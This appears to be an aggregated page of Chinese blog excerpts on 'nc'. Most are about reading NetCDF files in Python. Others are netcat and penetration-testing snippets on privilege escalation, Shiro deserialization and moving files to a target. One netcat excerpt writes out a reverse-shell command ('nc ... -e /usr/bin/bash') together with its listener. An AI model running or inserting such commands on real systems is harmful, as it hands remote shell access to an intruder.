NetCDF文件是自描述的二进制数据格式。所谓自描述就是自带属性信息,这和一般的雷达基数据格式不同,一般的雷达数据也是二进制的,但不是自描述的,而是需要额外的数据格式文档来说明数据格式,而NetCDF文件中包含了描述变量和维度的元数据信息。通常包含以下三个部分:
Netcat 号称 TCP/IP 的瑞士军刀并非浪得虚名,以体积小(可执行 200KB)功能灵活而著称,在各大发行版中都默认安装,你可以用它来做很多网络相关的工作,熟练使用它可以不依靠其他工具做一些很有用的事情。
这篇讲一些关于 Linux 提权的方法,也是参考网上的一些提权方式,对于刚接触 Linux 提权的伙伴来说,需要花不少时间去理解,所以这里是以个人通俗易懂的思路去写,希望能帮到热爱学习的朋友,先写这些提权方法。若有更好的提权方式,欢迎老哥们在评论里补充一下。
python的关于http网络请求的module有好些个,我们使用这些库来达到网络爬取或者完成RESTful API交换。这些库比较推荐的有urllib3,requests。这些库之所以流行有一些长处,比如说他们是AIOHTTP和HTTPX,还比如说requests库支持OAuth鉴权等等一些实用功能。像异步机制能并非发起多个请求,就很方便用来做网站爬取之类的工作。
Pylint 是一个 Python 代码分析工具,它分析 Python 代码中的错误,查找不符合代码风格标准(Pylint 默认使用的代码风格是 PEP 8)和有潜在问题的代码。
作业的思路是实现控制端(Server)对受控端(Client)的远程控制;在作业中,将以python代码 以及 java代码实现受控端、nc以及python代码实现控制端,尝试不同的远程方式。
当年比赛许多同学通过550拿下过各地核心目标和难打目标,自己参与其中无论从攻击还是防御溯源都受益匪浅
网络抓取框架中使用最多的莫过于是scrapy,然而我们是否考虑过这个框架是否存在漏洞妮?5年前曾经在scrapy中爆出过XXE漏洞,然而这次我们发现的漏洞是一个LPE。
Nikto是网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,可以用来端口和目录的扫描
本篇文章将从数据下载、处理、神经网络训练、画图四个大步骤叙说笔者在复现 Deep learning for multi-year ENSO forecasts这篇文章的工作。所涉及Python库有 wget , matplotlib , numpy ,xarray , pytorch 等一系列在深度学习以及气象数据处理中经常使用的函数库,希望这篇文章能够对大家有所帮助。笔者也只是大学二年级的本科生,做这些东西也只是凭借个人兴趣,水平低下、错误频出也是常有的事情,请大家见谅。
这里ansible就安装完啦,是不是so easy~ 然后在建立一个/etc/ansilbe/hosts文件进行测试咯 其实这是ansible默认读取的位置,后续可以加参数指定hosts文件的。
netcat瑞士军刀 参见Kali linux 学习笔记(四)基本工具熟悉——nc(netcat) 2020.2.14 powershell版:https://github.com/besimorhino/powercat
在渗透测试中端口扫描是非常重要的一环,不管是在外围对企业边界信息收集的过程还是在内网渗透中对内网的信息收集。如何判断主机或服务器端口的开放情况就显得尤为重要,下面就盘点一下可以作为端口扫描的工具与方式方法。
https://blog.csdn.net/weixin_43303273/article/details/83029138
相对路径:顾名思义就是相对于当前文件的路径。网页中一般表示路径使用这个方法。 绝对路径:绝对路径就是主页上的文件或目录在硬盘上真正的路径。 比如 c:/apache/cgi-bin 下的,那么 c:/apache/cgi-bin就是cgi-bin目录的绝对路径
欢迎来到《用python拓展gdb》的最后一篇。第一篇结尾,我提到了通用语言相对于领域特定语言的一项优势,即在处理数据上更加灵活。其实通用语言还有着另一样优势,领域特定语言只能局限在宿主程序中使用,而通用语言则无此限制。对于通用语言来说,gdb暴露的接口不过是又一个库而已。
jupyter其实就是ipython notebook的另一个版本,是一个很强大的基于ipython的python代码编辑器,python文档查看器。他可以部署在网页上,可以非常方便的对文件进行查看、下载,并且对python文件进行在线编译,甚至是远程连接。。。。。。用他编写的python文件本身就是一个强大的开发文档。更重要的是很多基于python开发的开源程序都热衷于用.ipynb格式的文件作为文档(比如caffe)。因此掌握jupyter的使用也尤为重要。
漏洞出现在cookie中的RememberMe字段中,说的简单通俗易懂些,当服务端获取到RememberMe后,会进行如下操作
nc文件的处理方式比较多,可以用MATLAB、JAVA、C、python或者其他的语言。我这两天折腾用python读取nc文件,查阅很多资料,左拼右凑的终于读出来了。
之前介绍过如何使用Python处理NetCDF格式文件,这次介绍一下如何创建NetCDF文件。
前天在最强王者交流群,突然有人问起使用Python读取.nc文件的方法,正好之前有写过文章,这里拿出来跟大家分享下。
是不是感觉被封面图和不明觉厉的题目给骗进来了哈哈哈,今天这篇是理论篇,没有多少案例,而且还很长,所以静不下心的小伙伴儿可以先收藏着,时间充裕了再看。 ---- 当今互联网和大数据发展的如此迅猛,大量的运营与业务数据需要通过可视化呈现来给商业分析人员提供有价值的决策信息,而地理信息与空间数据可视化则是可视化分析中至关重要而且门槛较高的一类。 通常除了少数本身具备强大前端开发能力的大厂之外,很多中小型企业在内部预算资源有限的情况下,并不具备自建BI和完整可视化框架的能力。需要借助第三方提供的开源可视化平台或者
今天小编带大家绘制一幅”颜值“超高的学术图表,起初原因也是群里的小伙伴询问怎么绘制。要知道我可是非常宠读者的哈~~绝对的安排!读者给出的图片如下:
在渗透过程中,通常会需要向目标主机传送一些文件,来达到权限提升、权限维持等目的,本篇文章主要介绍一些windows和Linux下常用的文件下载方式。
PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统),本文对于postgresql的使用及利用做个总结备份。
最近在做shiro反序列化漏洞复现,从网上也找了一堆复现文章和工具,但是这些工具用着都不太舒服,于是参考网上大佬们的工具,自己进行了一些简单的改良。
.nc文件和常规的文件不太一样,有专门的第三方处理库,netCDF4,需要安装才行。
#此处是原先Manta分析SV的步骤一,生成runWorkflow.py,因为这一不步速度很快,所以串行执行 rm -f ${result}/${sn}/runWorkflow.py python ${tools.manta} \ --normalBam ${result}/${sn}NC_marked.bam \ --tumorBam ${result}/${sn}_marked.bam \ --referenceFasta ${refs.hum} \ --exome \ --callRegions /opt/ref/projects/Illumina_pt2.bed.zip \ --runDir ${result}/${sn} # 对bam文件碱基质量校正的第二步,Normal & Tumor并行处理 ${tools.gatk} ApplyBQSR \ --bqsr-recal-file ${result}/${sn}_recal.table \ -L ${refs.interval} \ -R ${refs.hum} \ -I ${result}/${sn}_marked.bam \ -O ${result}/${sn}_bqsr.bam & ${tools.gatk} ApplyBQSR \ --bqsr-recal-file ${result}/${sn}NC_recal.table \ -L ${refs.interval} \ -R ${refs.hum} \ -I ${result}/${sn}NC_marked.bam \ -O ${result}/${sn}NC_bqsr.bam & #原先QC步骤,获取insert size,Normal & Tumor并行 ${tools.gatk} CollectInsertSizeMetrics \ -I ${result}/${sn}_marked.bam \ -O ${result}/${sn}_insertsize_metrics.txt \ -H ${result}/${sn}_insertsize_histogram.pdf & ${tools.gatk} CollectInsertSizeMetrics \ -I ${result}/${sn}NC_marked.bam \ -O ${result}/${sn}NC_insertsize_metrics.txt \ -H ${result}/${sn}NC_insertsize_histogram.pdf & # 运行manta SV分析 python ${result}/${sn}/runWorkflow.py -m local -j ${envis.threads} & # 运行cnvkit CNV分析 ${tools.cnvkit} batch \ ${result}/${sn}_marked.bam \ --normal ${result}/${sn}NC_marked.bam \ --method hybrid \ --targets ${refs.bed} \ --annotate /opt/ref/refFlat.txt \ --output-reference ${result}/${sn}_reference.cnn \ --output-dir ${result}/ \ --diagram \ -p 0 & #samtools统计测序深度 ${tools.samtools} depth -b ${refs.bed} ${result}/${sn}_marked.bam > ${result}/${sn}_marked.depth & ${tools.samtools} depth -b ${refs.bed} ${result}/${sn}NC_marked.bam > ${result}/${sn}NC_marked.depth & #samtools统计比对信息 ${tools.samtools} flagstat --threads ${envis.threads} ${result}/${sn}_marked.bam > ${result}/$
本套课程正式进入Python爬虫阶段,具体章节根据实际发布决定,可点击【python爬虫】分类专栏进行倒序观看: 【重点提示:请勿爬取有害他人或国家利益的内容,此课程虽可爬取互联网任意内容,但无任何收益,只为大家学习分享。】 开发环境:【Win10】 开发工具:【Visual Studio 2019】 Python版本:【3.7】 1、创建项目: 2、寻找目标:直接百度搜图片 url有共同部分,可以理解成步长为30,也就是每页30张图片 3、获取图片路径列表:使用路径为【https://ima
netcat 黑客们的瑞士军刀,虽然小巧但是其功能一点也不弱,并且该工具天生免杀,值得你去尝试。
之前有说过使用 Python 使用 XPath 去采集页面数据内容,前段时间参与百度内测的一个号主页展现接口,需要文章页面改造的application/ld+json代码
0x01 前奏说明 很多时候,不到万不得已的情况下,我们完全没必要非往目标机器里传一堆工具,先不说由于各种防护[不仅仅是杀软的问题],传工具困难重重,有时由于自己的粗心,走的时候很容易把各种工具落在目标机器上,万一哪天被人看见,一看工具就大概知道你上来都干了啥,尤其是很多小伙伴在用别人工具时候也不爱做点儿什么手脚,后果你自然是很懂的,嘿嘿…… 其实,个人一直觉得,如果能利用目标系统自身的环境或者工具帮我们搞定的,最好就直接用那个,也省去了不少的麻烦,比如,最简单的,利用目标系统中自带的各种工具及语言环境帮我
apt-get -y install netcat-traditionalupdate-alternatives --config nc nc文件传输接受端:nc -lp 333 > 1.exe发送端:nc -vn 172.18.13.90 333 < 4.1.exe -q 1nc简易聊天A:nc -l -p 888B:nc -vn 172.18.13.90 888nc反向shell:目标机:nc 172.18.13.90 9999 -e /usr/bin/bash攻击机:nc -lvp 9999pytho
nmap扫描某ip的C段,用时大概19h,对识别到的指纹信息依次查看,查看到如下信息
注意有些反弹shell的方法或脚本只适用于Linux或者Windows,注意区分相关脚本的编写方式方法。
本文介绍基于Python语言的netCDF4库,读取.nc格式的数据文件,并提取指定维(时间、经度与纬度)下的变量数据的方法。
文件传输是日常运维中最常见的操作,在linux系统和win/mac系统之间传输文件,我们最常用的,应该是lrzsz工具,通过rz(上传)/sz(下载),对于平常的小文件传输实在是太方便了
连接远程主机:nc (-nvv) {ip} {port} 监听本地端口:nc -l -p {port} 持续监听端口:nc -L -l -p {port}
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其实从 Amesp 发布之后就答应了要写 Gaussian-Amesp,然后一直咕到现在,直到前两天看到了有人写了 ase 与 Amesp 联用的方案,才赶紧把解析 Amesp 输出文件 Hessian 矩阵的部分折腾完,至此 Gaussian-Amesp 联用基本达到可用水平。此软件以 BSD 2-Clause License 开源于 GitHub Gaussian-Amesp
鉴于很多数据如CRU、GLDAS、TerraClimate、GLASS数据等都是全球NC数据,如何利用Python对这些数据进行裁剪,得到属于自己研究区范围的数据一直困扰着许多人。
在做靶机之前,我对于 web 安全的了解仅限于一些基础的 CTF 题目,压根就没用过 nmap,虽然看过几篇介绍的文章
本文介绍基于C++语言的netCDF库读取.nc格式的栅格文件时,代码读取到的数据与栅格文件的实际数据不一致的解决方法。
在推出两期数据分享之后,获取数据的小伙伴们也知道,数据格式都是NetCDF(nc) 格式网格数据,虽然我在推文分享中说明使用Python、R或者GIS类软件都是可以进行 处理和可视化绘制的,但是,还是有小伙伴咨询使用编程软件Python或者R处理nc数据,正好也想分享一期关于nc网格数据的可视化绘制过程,这里我们使用R包进行nc数据的处理(Python处理较为简单,将放在空间插值系列的资料中,该部分正在加快进程中哦~~),主要涉及的知识点如下:
如果你不喜欢命令行的操作方式,那么你可以尝试使用python-cdo,利用python脚本语言的优势来处理气象数据。命令行的方式有其优势,比如简单易操作,可扩展性更强等,利用CDO的python接口也有其特有的优势,比如:
如果你不喜欢命令行的操作方式,或者想要和python 的生态进行更好的结合,那么你可以尝试使用python-cdo,利用python脚本语言的优势来处理气象数据。命令行的方式有其优势,比如简单易操作,可扩展性更强等,利用cdo的python接口也有其特有的优势,比如:
某博主最近不知道该写什么文章,最近Python深得许多爬虫大佬的喜欢,于是某闲着么事干的博主就搜罗了一些Python趣味代码。
叶绿体基因组类的文章通常是我们自己做几个,然后结合已经发表的数据做分析。已经公布在NCBI的叶绿体基因组中通常没有反向重复区的信息。这个时候就需要我们自己重新注释。注释用到的是在线工具GeSeq https://chlorobox.mpimp-golm.mpg.de/geseq.html
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